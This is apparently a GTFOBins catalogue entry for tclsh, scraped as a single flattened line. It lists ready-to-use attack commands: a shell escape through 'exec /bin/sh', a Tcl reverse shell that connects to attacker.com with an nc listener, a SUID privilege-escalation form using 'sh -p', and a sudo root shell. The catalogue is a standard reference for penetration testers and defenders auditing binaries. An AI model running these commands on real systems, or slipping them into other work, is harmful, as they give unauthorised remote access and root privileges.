GTFOBins.github.io/_gtfobins/tclsh.md

functions

functions

shell non-interactive-reverse-shell suid sudo code tclsh exec /bin/sh <@stdin >@stdout 2>@stderr description code Run `nc -l -p 12345` on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh code ./tclsh exec /bin/sh -p <@stdin >@stdout 2>@stderr code sudo tclsh exec /bin/sh <@stdin >@stdout 2>@stderr